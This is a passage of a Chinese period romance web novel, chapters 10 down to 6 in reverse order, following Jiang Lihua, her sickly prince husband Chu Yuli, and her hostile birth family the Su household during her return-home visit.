吕氏回眸看着姜黎婳那决然的背影,心头忽然落空空的,好像失去了什么重要的东西一样。
一直观察着吕氏的苏清欢见状立刻上前挽着吕氏的手,低声道:“娘,您别伤心,以后清欢一定会好好孝顺您的。”
听到苏清欢这话,吕氏把心头那一丝不适忽略掉,伸手搂住苏清欢,窝心的点头,“还是我的清欢贴心。”
自小就没在身边长大的女儿,和他们始终不是一条心的,如今把她的生辰八字还给她,让她嫁给皇子冲喜,已经仁至义尽了。
这边姜黎婳带着铃铛回到前厅,刚踏入前厅楚御礼的目光就看了过来,见姜黎婳的表情明显不好,而铃铛双眼通红,他当即皱起眉头站起来,迎着姜黎婳走了上去,“怎么了?”
语气温柔,甚至还带着一丝担忧和关切,与和苏建明聊天时的淡漠完全不一样。
姜黎婳垂眸瞧着他那牵着自己手的指节,低声道:“没事。”
“怎么没事,他们因为昭临奉殿下您的命在外面掌掴那苏家大小姐,三个人一起围着大皇子妃问罪呢!”铃铛当即大声反驳道。
坐在位子上的没动的苏建明闻言立刻坐直了身子,他还没来得及说话,楚御礼已经转身冷冷的开口了,“人是孤让打的,他们目无皇室,不该被打?苏大人的家人可真是威风,竟然敢问罪孤的皇子妃?”
“误会!其中定然有误会!”苏建明连忙站起来躬身给楚御礼告罪,“臣定然让他们给大皇子一个说法。”
“不必了。”楚御礼紧紧地握着姜黎婳那软软的手,目光沉沉的看着苏建明,冷声道,“我这个病弱的皇子,苏大人不放在眼中孤理解,既然苏府这般瞧不起我这个大皇子,那从今以后,大皇子府和苏府也没必要往来了。”
说罢拉着姜黎婳就往外走。
听楚御礼这样说,原本心头的确看不起他的苏建明慌了,他连忙追上楚御礼,连声告罪,“大皇子,您误会了啊,臣怎么敢....”
“不必多说。”楚御礼脚步不停,出声打断苏建明的话,“孤知道,孤时日不多了,苏大人不愿与孤这种短命的人有过多牵扯是为了自身利益,只是苏家这种做派,的确让人不齿!”
苏建明还想追,但是却被昭临拦住了,他目光冷冷的扫了苏建明一眼,“苏大人,请留步。”
“侍卫大人,劳烦你转告大皇子,我苏家绝对没有不敬大皇子的心思啊!”苏建明擦了擦额头上的细汗,他即便是看不上楚御礼这个短命鬼,当初答应换亲也是权衡利弊之后做的决定,但这事情不能说出来啊!
否则。
这就是得罪了帝后和镇国侯府啊!
第10章 姜黎婳,去给清欢道歉
来者是客,按理说回门的女儿和女婿理应坐在高位下方的位置,但由于楚御礼的身份高贵,进了前厅就被苏建明请到了高位上坐下,楚御礼并未客气,坐下之后顺势让姜黎婳坐在自己身边。
苏建明看了姜黎婳一眼,暗示姜黎婳让自己这个当爹的男主人坐大皇子身边。
姜黎婳全当没看见,一屁股在楚御礼身旁的位置上坐下。
苏建明见状深深地看了姜黎婳一眼,然后讪笑着走到楚御礼那边下首第一个红木椅上坐下。
苏家两兄弟一依次坐在他旁边的位子上,吕氏和苏清欢两人则依次坐在姜黎婳这边的下首的位置上。
苏建明坐下后,端着一副长辈的姿态关心楚御礼的身体,楚御礼都不咸不淡的应付着,这让苏家人心头都很不是滋味,但为了不冷场,苏建明还是在尽可能的与楚御礼攀谈。
原本想看姜黎婳一个人回门,然后好好羞辱姜黎婳一顿的苏清欢此时瞧着姜黎婳淡定地坐在高位上,她心头嫉妒的怒火开始熊熊燃烧,接着伸手拉了拉吕氏的衣袖。
吕氏侧首看了一眼苏清欢,见她双眼通红的盯着姜黎婳,又想到从进门到现在,他们苏家人给姜黎婳卑躬屈膝的行礼问安,可姜黎婳却完全不把他们放在眼中...
她心头不禁在想,若是清欢嫁给大皇子的话,是绝对不会这样对他们的。
想到这里,吕氏深深地吸了口气,笑着对楚御礼道,“臣妇和大皇子妃也好几日不见了,心头有好多贴己话想与她说,大皇子先与老爷在这边坐会儿,臣妇与大皇子妃回院中说说贴己话,可好?”
楚御礼看了吕氏一眼,又看向姜黎婳,用眼神询问姜黎婳的意愿。
姜黎婳看向吕氏,片刻后她收回目光,对楚御礼道,“妾身去去就回。”
吕氏离开,苏清欢自然要跟着离开,她还想看姜黎婳被自己的亲生母亲训斥之后那神伤的模样呢!
上一世,吕氏无论何时都站在自己这边的,即便姜黎婳当了国公夫人,依旧得不到吕氏的爱惜,她一直都知道,姜黎婳最在意的就是吕氏的爱护!
姜黎婳想要,她偏不让姜黎婳如意!她要姜黎婳知道,即便当了大皇子妃,吕氏依旧不会对她有一丝偏爱!
一行人一路无话到了吕氏的院子,刚进院子,吕氏就让人把院门关了,紧接着抬手朝着姜黎婳的脸就打了过去。
“你敢忤逆我?”吕氏不可置信的看着握住自己手腕的姜黎婳,语气冰冷,“放手!”
姜黎婳面无表情的松开吕氏的手,安抚的看了一眼跟在自己身边,想冲出来护着自己的铃铛,抬步往主屋走,“我这是为夫人好,若我来这院子中就被夫人打了,夫人也不好给大皇子交代,毕竟如今我可是皇室中人,夫人这般目无皇室,不怕被治罪?”
“你是大皇子妃之前,先是我女儿!”吕氏听着姜黎婳那字字威胁的话,气得直发抖,说话的语气也陡然高了许多,“我教训自己的女儿有什么不对!”
狂怒中的她,完全没有注意到,姜黎婳如今喊她是夫人,而不是母亲。
“女儿?”已经踏上阶梯的姜黎婳停住了脚步,她回头看着狂怒的吕氏,嘴角勾起一抹嘲讽的弧度,“你真的有把我当成女儿吗?”
苏清欢站在吕氏旁边看着站在阶梯上的姜黎婳,此时的姜黎婳给她一种高高在上的感觉,完全没有了前世的忍气吞声,难道是因为当了皇子妃,又有楚御礼那个短命鬼给她撑腰的缘故,让她有了底气?
想到这里,苏清欢眉头皱了皱,她侧首去看吕氏,瞧对方面容微变,她立刻往前走了一步,泫然欲泣的对姜黎婳说道:“我知道妹妹还在怪我抢了你的身份,但我在苏家生活了十几年,我舍不得母亲他们啊!”
吕氏一听她这话,刚刚对姜黎婳升起的那一丝愧疚瞬间荡然无存,她目光冰冷的看着姜黎婳,沉声道:“你心头不满冲着我们来就是,朝清欢撒什么气?你别忘了你这婚事还是清欢让给你的!”
“呵呵。”姜黎婳真觉得这是这十几年来,她听过最好笑的笑话了,她瞧着站在阳光下沆瀣一气的两个人,冷笑着问,“我什么时候朝她撒气了?还有,那八字本就是我的,应该嫁过去的人也本就是我,你们敢用这个身世不详的人代替我嫁过去给大皇子冲喜吗?”
“姜黎婳!”院门被人猛地踢开,苏承印怒气冲冲的从外面走进来,指着她,“您现在还敢狡辩?刚刚在大门外难道不是你撺掇大皇子让人掌掴了清欢和萧世子吗?”
看来不只是告状,还添油加醋了,这是苏清欢一贯的伎俩。
原书中,原主为了得到他们的认可,自证过太多次。
但她不会。
“你们愿意相信苏清欢,那随你们好了。”日头太大,她虽然站在屋檐下,但是看着站在阳光下的他们,她也觉得刺眼,她干脆转身往屋内走去。
吕氏几人见她竟然丝毫不辩解也不在意,甚至都有点不愿意搭理他们的模样,当即气急,苏承印更气,他越过吕氏等人,大步朝屋内走去,看到在高位上坐下的姜黎婳,他怒喝道:“没规矩的东西,那个位置也是你能坐的?还不滚起来?去给清欢认错?”
姜黎婳被苏承印高昂的声音吵得耳朵疼,她用小指掏了掏耳朵,挑眉看向苏承印,“我若不道歉呢?”
“姜黎婳,你说大皇子若知道你只是一个在江南上不得台面的商户人家长大,你还能当大皇子妃吗?”苏承印眼神阴冷的盯着姜黎婳,出声威胁,“你真以为嫁给大皇子了,你就可以扬眉吐气了?我告诉你,没有苏家,你什么都不是!”
“是吗?那你去告诉大皇子啊。”姜黎婳似笑非笑的看着苏承印,“也不知道这真假千金的事情捅出去,到底是谁的损失比较大。”
她目光略过苏承印看向苏清欢,“也不知道定国公府知道自己娶了一个假千金,会不会翻脸不认账?”
原本还因为苏承印给自己出头而暗自窃喜的苏清欢听到姜黎婳这话,心头又忍不住埋怨苏承印愚蠢,她连忙上前拉着苏承印的手,低声劝道,“哥哥,你别为了我和大皇子妃伤了和气,毕竟她才是哥哥的亲妹妹,才是母亲的亲女儿。”
说着她委屈的垂下眉头,轻声道:“这些年本就是我亏欠了妹妹,原本以为把与大皇子的婚事还给妹妹,可以让妹妹对我少几分怨念,如今看来,是我想多了。”
“清欢...”吕氏心疼地上前搂住苏清欢,眼神却恶狠狠地瞪着姜黎婳,“姜黎婳!你真的要闹得我们苏家鸡犬不宁才肯罢休吗?”
姜黎婳无语的瞧着面前相亲相爱的一家人,“呵呵...”
人无语的时候,真的会笑。
第9章 回门,给她撑腰
姜黎婳今日穿的是水红色的苏绣束腰长裙,外面搭着同色的纱质外衫,头上依旧梳的飞仙髻,发髻上点缀着皇后那日赏赐的金镶玉头面,胸前挂着的帝王绿翡翠吊坠的金项链
明明是妇人的打扮,却比未出阁的少女更惹眼。
书中原主也是与苏清欢一天回门的,当时她兴致满满的带着礼物与萧景宴一同回门,却比不过一人回门的苏清欢,被苏家一家人冷落在一旁。
所以对于今日的回门,姜黎婳是一点都不重视的,甚至可以说她不愿回门,若不是佩玉嬷嬷说这是礼数,不但要让她来,还得打扮得漂漂亮亮的,不能让人说她不知礼数。
她不想见苏家人,但更不愿被人说爹爹教出来的她没有教养,便忍着心头的不耐答应回门。
挽着萧景宴手臂走下马车的苏清欢一眼就看到了从马车上走下来的姜黎婳。
瞧着姜黎婳的打扮,她在心头冷嗤了一句打肿脸充胖子,松开萧景宴的手就朝姜黎婳走去,讥诮的与姜黎婳打招呼,“哟,妹妹一个人回门啊?大皇子不陪你回门?”
姜黎婳抬眸看去,苏清欢那丝毫不隐藏的表情就落入了她眼里。
她回苏家这些日子,苏清欢没少挑衅她,但之前她怕苏清欢一个不高兴改变主意,又不换婚了,所以处处忍着苏清欢,不过今时不同往日,如今婚事已成定局,她不再惯着苏清欢,当即怼了回去,“与你何干?”
“我不过是关心妹妹罢了,妹妹何故话中带刺。”苏清欢见姜黎婳半分不见窘迫,眉头紧紧地皱了起来。
也怪她一心想要看姜黎婳的笑话,若非如此,她仔细瞧瞧赶车的人,怕也能看出一些端倪来。
毕竟她前世做了两年大皇子妃,一直跟在楚御礼身边伺候的昭临,她怎么说也是见过的。
姜黎婳懒得与她多说,面无表情的看着她,“苏大人他们怕是早早就在家中等你了,你与其在我面前讨嫌,不如去人家面前讨喜。”
萧景宴在看到姜黎婳的时候,目光已经呆住了。他之前从未见过姜黎婳,若非今日相见,他都不知道苏家竟然还有这么一个娇艳欲滴的可人儿。
而且这美人儿,性子竟然这么火辣。
如此烈焰一般的美人儿,玩起来,应该比苏清欢这个清汤寡水的女人有趣多了。
他想到楚御礼的短命传言,心头开始发热,再等等,等楚御礼那个短命鬼死了,他就让苏清欢把这个小美人儿弄到府上去,好好玩!
“妹妹既然一个人过来的,不如同我们一起进去?”萧景宴出声相邀。
原书的人物中,姜黎婳最讨厌的就是萧景宴这个人面兽心的变态了,而且对于这种变态,她很熟悉,他一个眼神她就知道他在想什么,她藏在袖中的手死死的捏着,强忍着心头的恶心。
真是没想到这畜生,竟然敢把主意打在她这个皇子妃身上来!
萧景宴见她不理自己,往前走了一步,又喊,“妹妹?”
“昭临,你是死人吗?”楚御礼冰冷的声音从马车上传来,“给孤掌嘴!”
他话音落下,刚刚还站在马车旁边的昭临一个闪身站在了萧景宴和苏清欢面前,在两人还没反应过来之际,两巴掌落在两人脸上。
“你干什么!”萧景宴的眼中闪过一抹阴鸷,冷冷的盯着昭临。
昭临面无表情的看着他,“打你。”
“你!”
“他什么?”楚御礼掀开车帘从马车中走出来,他换了一身暗红色的锦服,此时沉着脸更显几分强势,“你是孤什么人,敢唤孤的皇子妃为妹妹?目无皇室,不该打?”
说话间楚御礼已经走到姜黎婳身边,他牵起姜黎婳的手,目光冷冷的扫过萧景宴和苏清欢,“见了孤和大皇子妃,还不行礼问安?”
萧景宴咬了咬牙齿,忍着脾气,屈辱的抱拳躬身,“萧景宴见过大皇子、大皇子妃!”
苏清欢死死地咬着嘴唇,不可置信地看着牵着姜黎婳手的楚御礼。
“这不可能!”她大喊了一声,转身往苏府里面跑去。
楚御礼眉头看了眼跑了的苏清欢,眉头紧紧地皱了起来,“苏家人真是好规矩!”
姜黎婳偏头扯了扯他的衣袖,他立刻变脸,温声道,“你不是苏家的。”
姜黎婳闻言勾唇一笑,点头赞同,“嗯,我是姜家的。”
被打了一巴掌的萧景宴瞧着眉来眼去的两人,气得一甩袖子,转身上了马车,让车夫回府去了。
上一世没有夫君陪着一同回门的苏清欢,这一世落得了同样的下场。
而对这些毫无所知的苏清欢跑回前厅就看到了从小把自己宠着长大的苏家人,她委屈地哭着扑到吕氏怀中,“娘!”
吕氏原本高高兴兴地等着她回门,此时见她一个人哭着回来,立刻心疼的问,“欢儿,怎么哭了?谁欺负你了?”
“女儿是不是不该回来?”苏清欢添油加醋的把门口的事情给说了一遍,“女儿也只是关心妹妹啊。”
“那个孽障!她就是嫉妒你有父母疼爱!”苏承印沉着脸怒声道,“我一会儿找她算账!”
“够了!”苏建明为了今日两个女儿回门,专门休沐了一日,现在听说大皇子陪着姜黎婳回门,虽然心头对姜黎婳的所作所为不喜,但也知道不能在这时候说姜黎婳的不是,否则就是对皇室不满。
他目光沉沉的看向门外,冷声道:“大皇子首次登门,你们都给我注意一点!”
吕氏目光冰冷,看着苏清欢脸颊上的巴掌印,她沉着脸道,“我知道分寸的。”
“那姐姐就白挨打了吗?”苏继业皱着眉头,满脸不爽,那模样像是巴不得立刻去打姜黎婳一顿给苏清欢报仇一样。
“娘~”苏清欢抱着吕氏带着鼻腔喊了一声。
“我会帮你讨回公道的。”吕氏心疼的摸了摸苏清欢的脸颊,“别哭了,娘瞧着心疼。”
姜黎婳进来就看到这母女情深的一幕。
而吕氏也正好抬眸,和姜黎婳的目光对上了,趁着这一下,吕氏狠狠地瞪了姜黎婳一眼。
这死丫头,不但不顾苏府颜面,由着大皇子把苏府的陪嫁婢女送回来,回门日还在门口让人打了她姐姐,真是一点都不把他们苏家放在眼里!
就这一眼,姜黎婳就知道,苏清欢刚刚告状了。
她满心嘲讽,若不是自己这张脸与吕氏有几分相似,她真的怀疑自己是不是苏建明和外室生的女儿!
不然为何得不到吕氏的一点疼爱呢!
楚御礼平日很少出现在人前,但他身上那独有的矜贵气质配上卓越的容貌,实在是让人难以忽视,即便还没走近,便让人感受到一股轻微的压迫之感。
苏建明朝着苏家其他人警告的扫了一眼,起身朝两人迎去,“臣见过大皇子、大皇子妃。”
其他人也不情不愿的上前给两人见礼,跟在吕氏身边跟着行礼的苏清欢,双唇咬得死死的。
前世,楚御礼不但不陪她回门,甚至连多看她一眼都不愿!如今却亲自陪着姜黎婳回门,还为姜黎婳打了她和世子!
凭什么!
姜黎婳不过是一个江南小门小户养出的商户女罢了!
凭什么明明换了婚,她还是有丈夫陪着回门!
而她...
苏清欢这才意识到,陪着她到了苏府的丈夫不见了,想到萧景宴在门口也挨了一巴掌,苏清欢心头一慌,更加妒恨姜黎婳了。
第8章 大皇子喜欢她
时隔几个月姜黎婳才重新回姜宅,佩玉一直都很激动,甚至都没想起问一下新姑爷的身份,把昭临安排好,提着菜篮就出门了,说要给新姑爷露一手她的厨艺。
姜黎婳根本来不及阻止,只能略带歉意地对楚御礼说道,“佩玉嬷嬷还不知道殿下的身份,否则绝对不会这么随意的。”
楚御礼看出了她的窘迫,忽然生出了逗她的心思,他扬了扬眉梢,“你的意思是说她看人下菜?”
“自然不是。”姜黎婳立刻露出护犊子的神情,“佩玉嬷嬷对自己人都是很真诚的!我刚刚那样说就是害怕殿下您吃不惯我们江南的家常小菜。”
楚御礼只捡自己想听的听,他压住嘴角的弧度,促狭地看着她,声音很轻,“这么说,我对娘子来说是自己人了?”
听到他这话,姜黎婳立刻明白自己又被他戏弄了,不知道是不是今日被他戏弄得多了,她心态要平稳了很多,甚至开始想,如果这一次嫁给他的人不是自己,而是苏清欢的话,他是不是也会这样与苏清欢打闹说笑?
想到这个可能,姜黎婳眉头微微皱了起来。
目光一直在她身上的楚御礼瞧她面露不悦,轻轻挑眉,“怎么了?”
“我在想,若嫁给殿下的人不是我,而是苏清欢的话,殿下也会像待我这样待她吗?”
楚御礼眉心微蹙,几乎立刻否认,“不会。”
虽然苏清欢经历的一切都说明了他不会,但此时听他这样否认,姜黎婳心头像是被羽毛扫过一样,麻酥酥的...
但是她不敢自负的认为自己对他来说是特别的。
姜黎婳看着楚御礼,神情疑惑,“为什么?”
“我活了十八年,五岁之前父皇待我严格,我必须严苛律己,学习的内容也与其他皇子不同,但五岁我因染风寒倒下,太医给我判了死刑,之后父皇便不再对我有任何要求,我也开始随心所欲的活着。”
楚御礼深邃的眸光落在姜黎婳面上,一字一句道,“所以即便是我的皇子妃,若我不喜,我也不会碰她一下。”
姜黎婳心头一紧,他这是在告诉她,他喜欢她?
不不不,她可能只是长得比旁人好看一些,正好随他眼缘罢了!
她绝对不能这么自恋!
......
傍晚。
佩玉、铃铛和知夏三人站在大皇子府门外看着宽大巍峨的宅院和门匾上醒目的几个字,三人眼神呆呆。
她们随小姐来京的路上小姐就再三叮嘱她们,她回到苏家之后,若她没有联系她们,她们便不能主动联系她,以免招来不必要的麻烦。
所以她们这些日子很听小姐的话,就在城南的宅子里面等着小姐主动来联系她们。
她们不曾去打听小姐的事情,也不曾上苏家去找小姐。
可是她们做梦都没想到,小姐回苏家之后,竟然能嫁给皇子啊!
天老爷啊!
小姐这几个月究竟经历了什么?
“嬷嬷,您说今日咱们当着姑爷...大皇子的面一直称呼小...大皇子妃为小姐,大皇子会不会生气啊?”知夏后知后觉的想到今日她们拉着小姐手的时候,姑爷那一脸不高兴的样子...
忽然有点害怕大皇子秋后算账怎么办?
“应该不会吧?”佩玉有些不确定的低声回答。
站在几人身后的昭临,“......”
她们现在才担心这些是不是晚了一点?
“佩玉嬷嬷,你们快点。”已经跟楚御礼一同进了府的姜黎婳回头看向三人。
佩玉看着姜黎婳笑颜如花的模样,视死如归的踏上皇子府的台阶,为了小姐!就算是刀山火海都可以去,一个皇子府,算什么!
铃铛和知夏两人也赶紧抬步跟上嬷嬷的脚步。
楚御礼喊了府上的管事嬷嬷配合姜黎婳安置三人,又告知姜黎婳今夜自己要在书房处理事务,不必等他就寝了。
姜黎婳不疑有他,嘱咐了他不要太逞强,解毒的事情她会想办法,便也就没再管他了。
书房。
楚御礼刚在桌案后坐下,一个身着玄衣的青年就从暗处走了出来,他抱拳跪地,“主子。”
楚御礼神色淡漠的嗯了一声,让他起来说话,神态和气势和在姜黎婳面前完全是两个人。
墨玄站了起来,半弓着身子低声道:“属下今日打听了皇子妃的事情,她于五个月前入京,当时苏家还对外宣称她是远亲之女,但三个月前,苏家忽然改口说皇子妃与府上的小姐是一母同胞的双生女,因幼时体弱抱到远亲家将养,因怕养不活,便也没有上族谱。”
墨玄说到这里神色变得有些不自然,“而且属下打听到,那苏家忽然改口,好像是因为那养在身边的小姐与定国公府世子有了牵扯。”
不然嫁给您的就不是如今的皇子妃,而是另一个人了。
当然,这话墨玄没有说出来。
楚御礼的手指在红木桌上轻轻敲打,他的面色温和,眼神却冰冷,“苏建明可真是好样的。”
亲生女儿不疼,反而把一个野种当眼珠子。
“让人盯紧苏建明。”楚御礼目光幽幽,“这么疼一个外人,其中必定有不为人知的蹊跷。”
墨玄立刻应是退了出去。
昭临大步走进来,“主子,皇子妃明日回门的礼品已经准备好了,您明日和大皇子妃一同回门吗?”
楚御礼没有立刻回答,垂眸不知在想什么。
昭临也不急,女子出嫁回门,夫君随不随娘子回门,这就摆明了夫家的态度,也说明了女子在夫家的地位如何。
他瞧着主子这模样倒也不像是会让皇子妃明日单独回门的。
“去告诉她,明日孤与她一同回门。”
得到意料之中的回答,昭临笑着应了声是,转身离开。
大皇子变了。
以前大皇子瞧着温和,也不爱生气,总是那么淡淡的,但却从来不在乎任何人,做所有事情都随心所欲。
如今竟然愿意为了皇子妃,遵从礼数与她回门了。
翌日。
姜黎婳在梨月居与楚御礼一同用了早膳,才慢吞吞地出门往苏府而去。
马车在苏府门前停下的时候,姜黎婳没坐稳把手边矮几上的茶杯嫌犯,茶水洒在了楚御礼的衣裳上。
事发后,她惊慌地抬手去给他擦水,楚御礼伸手抓住她的手腕,语气无奈,“不过才分开一夜,娘子便这般....”
“我先下去等您,殿下先换一身衣裳吧!”生怕楚御礼说出什么虎狼之词,姜黎婳慌张地丢下几个字,落荒而逃。
楚御礼看着晃动的车帘,微微舒了口气。
他这些年随心所欲惯了,几乎想做什么事情立刻就做了,所以并没有什么定力,他想若昨夜与她同寝的话,怕是克制不住自己的。
但是想到她在对待那事的恐惧,他又不想为了自己的爽快,在她心头留下阴影,所以昨夜只能托词留宿书房。
还有刚刚,若由着她闹下去,他真害怕自己磨灭理智,变成恶狼,让她连马车都下不了。
第7章 我好还是她们好?
从大皇子府去姜宅的路上,姜黎婳整个人是又激动又不安。
她不知道自己的决定是对是错,但是她不想像原主那样留遗憾,十几年的相处,她亦是把她们当亲人了。
虽然不知道自己是否有能力保护她们,但她应该可以相信让她把婢女们接到身边的楚御礼。
只是到京城的时候,她给她们说让她们等她,她会联系她们的,可这几个月过来她一次也没有联系她们...
姜黎婳咬了咬嘴唇,她们应该不会怪她吧?
一直注意着她一举一动的楚御礼见她坐立难安的模样,低声问,“怎么了?”
姜黎婳抬头,不安的模样更明显了,她不自在地扯了扯嘴角,低声道:“我好几个月未曾联系她们,怕她们怪我。”
楚御礼眉头微蹙,“怪你?”
意识到楚御礼可能误会了,姜黎婳赶紧解释,“佩玉嬷嬷从我很小的时候就照顾我了,爹爹很忙,时常出门在外,小时候都是佩玉嬷嬷哄我睡觉的,铃铛和知夏她们两人也是五六岁就跟在我身边了,我们是一同长大的。”
她认真地看着楚御礼,轻声道:“对我来说,她们不是普通的奴仆,更像是家人。”
“看来她们对你很好。”楚御礼拿出锦帕拉过姜黎婳的手,轻轻地为她擦拭手心的汗水,“不然你也不会因为她们的想法而坐立难安了。”
“嗯,她们的确很好。”姜黎婳展颜笑了。
楚御礼动作一顿,皱眉看着她,“娘子的意思是说我对你不好?”
“自然不是!”姜黎婳急了,这人怎么说话带套啊!她一个不小心就落入他的圈套里面了!
瞧着她着急的模样,楚御礼深邃的眼眸中闪过笑意,他捏着已经擦干汗水的柔夷,“那是为夫更好,还是她们更好?”
“这是能比较的吗?”姜黎婳垂下眼眸,藏住眼底的心虚。
她和他虽是夫妻,但感情上,现在的他和铃铛她们的确不能相提并论。
“看来是不能把她们接回去了。”楚御礼松开姜黎婳的手,叹气,“为夫不能接几个感情与娘子甚好的人回去与我争宠吧?”
姜黎婳:“!!!”
“妾身对佩玉嬷嬷她们是亲情!”情急之下,她脱口而出,“与殿下之间的情感是男女情爱,两者不一样,自然是不能比较的!”
得到了自己想要的答案,楚御礼心满意足,眼底的笑意都要溢出来了,他努力压住自己的嘴角,“真的?”
“自然是真的!”意识到自己冲动之下说了什么不知羞的话,姜黎婳干脆梗着脖子一错到底,“妾身从不说谎!”
“那你证明给为夫看。”
楚御礼靠在车板上,盯着她。
姜黎婳心头再次对苏清欢上一世的经历产生了怀疑。
苏清欢上辈子嫁了一个假皇子吧!
这人会让她守活寡?
“嗯?”见她不行动,某人有些急不可耐的提醒。
姜黎婳心一横,半起身快速在对方唇上落下一吻,人还没坐回去就被楚御礼拉到他腿上,冰冷的唇朝着她软嫩的嘴唇贴了上去...
片刻之后,楚御礼克制地松开她。
坐在楚御礼怀中的姜黎婳双颊绯红,她想挣开楚御礼的怀抱坐回自己的位置,却被对方紧紧抱住腰肢,楚御礼把下巴放在她的肩窝上,低声道:“婳儿,我喜欢听你在我面前称我。”
想到方才自己说话时,他带笑注视着自己的模样,姜黎婳眼眸微动,低声问,“殿下不会觉得我失礼?”
“你我夫妇,哪来失礼一说?”他目光幽幽的注视着她白嫩的耳垂,声音沙哑,“以后在我面前,别自称妾身,好吗?”
“好。”
楚御礼在她耳垂上亲了亲,这才松开了她。
......
姜宅坐落在城南一处清幽的巷子中,巷子的街道两旁种满了槐花树,所以这条巷子叫槐树巷。
城南商贾平民居多,处处是闹市。
姜宅所在的槐树巷也是有钱的商贾或者有点实力的京官才能住得起的地方。
一路从城西到城南几乎穿过了整个京城,两人到姜宅的时候都已经是晌午了。
站在姜宅的门前,姜黎婳深深地吸了口气,她回头看着在槐树下站着的楚御礼,他是一个很好的人,她相信他。
在心头下定了决心,姜黎婳抬手敲响了姜宅的大门。
“来了!”
没一会儿,大门被人从里面打开。
虽然上了年纪,仪态却依旧很好的妇人站在门内,她见到姜黎婳的瞬间,脸上就浮现出惊喜的神情,“小姐!您回来了!”
“阿妈。”姜黎婳红着眼,轻轻地喊了小时候才喊的称呼。
佩玉听她这么喊自己,也顾不上让她先进屋了,她跨出门槛,拉着姜黎婳上下打量,语气也充满了担忧,“是不是他们苏家欺负小姐了?”
姜黎婳轻轻摇头,“我就是太想你们了。”
“我们也想您。”佩玉拉着姜黎婳往宅子里面走,“今早铃铛和知夏还在念叨您呢。”
“等一下。”姜黎婳还算有良心,没有忘记还站在槐树下的楚御礼,她回眸指着楚御礼,“那是我夫君....”
佩玉朝楚御礼看过去,那位一表人才,仪表堂堂、样貌不凡的人是她们姑爷?
她激动地打断姜黎婳的话,笑着道:“咱们姑爷长得可真俊!”
说罢也顾不上自家小姐了,松开姜黎婳的手赶紧和楚御礼打招呼,“姑爷您别站着了,快进屋!”
“小姐,您怎么成亲也不通知奴婢们一声啊。”佩玉回眸看了一眼姜黎婳,又激动的往外走了两步去迎楚御礼,“姑爷第一次登门,有失远迎,还请姑爷莫怪。”
“无碍。”楚御礼抬步朝台阶上走去。
今日充当车夫的昭临:“......”
佩玉以前可是姜府的管家嬷嬷,为人处世和眼力价儿比宫里的好些嬷嬷都厉害,看到抱着一把短剑靠在马车旁边的昭临,她笑着道:“这位侍卫小哥也快进家中歇歇,天热,我让铃铛准备了凉茶,你进来喝杯茶凉快凉快。”
“不用了,我守着马...”
“马车让马夫牵去后院,让马儿也去马厩吃点东西。”说罢她扬声就喊,“马夫...”
喊了几声没人应,她尴尬的笑了笑,“瞧我激动地都忘了后院有些远,刚刚正巧是要出门买菜才听到你们敲门声的,小哥你稍等一下,我这就去喊马夫过来牵马。”
快步往后院跑去。
还没有介绍完楚御礼身份的姜黎婳,“......”
楚御礼已经走到了她身边,姜黎婳有些尴尬地朝他笑了笑,“这宅子是我入京前爹爹托人买的,爹爹没来京城,我进京之后也没有买仆从,所以伺候的人不多,佩玉嬷嬷平日做事很利索,不这样的。”
“我知道。”楚御礼牵着姜黎婳的手,“走吧。”
姜黎婳咬了咬嘴唇,知道?你才不知道呢。
已经走到后院的佩玉想起自己好像一激动把小姐和姑爷给忘在前院了,她懊恼的拍了一下额头,又想着已经到后院了,干脆先把马夫喊来再说。
姜黎婳带楚御礼回到自己住过两天的院子,可想而知,楚御礼又看了一遍主仆情深的戏,只是瞧着两个容貌漂亮的少女牵着自己娘子的手一直不松开,他眼睛微微眯了起来,心头开始后悔提议把她的婢女接到皇子府照顾她了。
第6章 大皇子他孔雀开屏
傍晚楚御礼去了书房,说有事要处理,让府上的管事嬷嬷带姜黎婳熟悉一下皇子府。
姜黎婳跟着管事嬷嬷把皇子府都逛了一个遍,回来就看到一个古铜色皮肤的英俊青年站在梨月居的院门外。
见她回来,青年往前走了两步,拱手弯腰给她见礼,“属下昭临,见过大皇子妃。”
这个侍卫她见过,先前和楚御礼去了书房。
姜黎婳有些疑惑的看着他,“有事吗?”
昭临礼貌颔首,“殿下请您去书房一趟。”
让她去书房派人知会一声就是,怎么还让自己的贴身侍卫亲自过来了?
姜黎婳让昭临带路,昭临屏退跟在姜黎婳身后的嬷嬷,带着她往书房走去,到了门外,他站定不再往前,“殿下在书房等您,大皇子妃您进去就是。”
姜黎婳不疑有他,轻轻敲了敲书房的门。
“进来。”楚御礼淡漠的声音从书房内传来。
姜黎婳推开房门走进去,进屋就看到了光着上身双手撑着地在地上做俯卧撑的男人...
看到这画面,姜黎婳脑子里一下闪过一些昨夜发生的事情,她脸一红,脱口而出,“青天白日的,殿下您怎么不穿衣服...”
楚御礼手臂上鼓起的肌肉一下子软了,他双腿扑通跪在地上,汗水从额头上滴落打湿了青石地板。
姜黎婳欲盖弥彰地用手遮住自己的眼睛,手指虚开一条缝看向已经站起来的楚御礼,心想难怪他身子看上去虽然糜弱,但是脱了衣裳却有条理分明的肌肉。
原来是自己在没人的地方偷偷练呢。
可是....
明明身体承受不住,却在不为人知的时候更加努力,难怪昨夜精力...
啊呸,想歪了!
这样努力的人,被人害死,简直太可惜了。
拿着汗巾擦汗的楚御礼瞧着她那掩耳盗铃的模样,忍不住勾起嘴角,“娘子很满意为夫的身材?”
“嗯...嗯?”姜黎婳并拢手指,矢口否认,“妾身什么都没看到,何谈满意一说?”
“没看到啊?”楚御礼把汗巾扔到一旁的架子上,走到姜黎婳面前,语气幽幽,“那真是可惜了,为夫现在都已经穿上衣服了,也不能脱了让娘子重看一遍。”
姜黎婳听对方穿好衣裳,立刻放下双手...
看着眼前那诱人的胸肌,姜黎婳沉默了。
她缓缓抬头,目光落入对方的黑色漩涡之中。
楚御礼披着外衫,双手张开,展示自己的好身材,“娘子满意否?”
姜黎婳鬼使神差的跟着点头,脑子却在想其他的...
这样惯会孔雀开屏的男人,真的让苏清欢守了快两年的活寡?
苏清欢上一世嫁的大皇子,和自己嫁的这是一个人吗?
得到了自己想要的答案,楚御礼满意的合拢外衫外隔壁的盥洗室走去,“娘子稍等片刻,为夫洗洗就来。”
姜黎婳:“......”
好好地一句话,为什么从大皇子嘴里面说出来,她总感觉变了味道?
她慌乱的点了点头,丝毫没有意识到,前世一看到男人脱衣就惊恐的自己,竟然一点都不反感楚御礼在自己面前展示自己的好身材。
一盏茶的功夫后楚御礼从隔间回来,他换了一身竹青色的银纹长衫,比手掌宽的腰带束在腰间,衬得他身材挺拔,长身玉立,英俊无双。
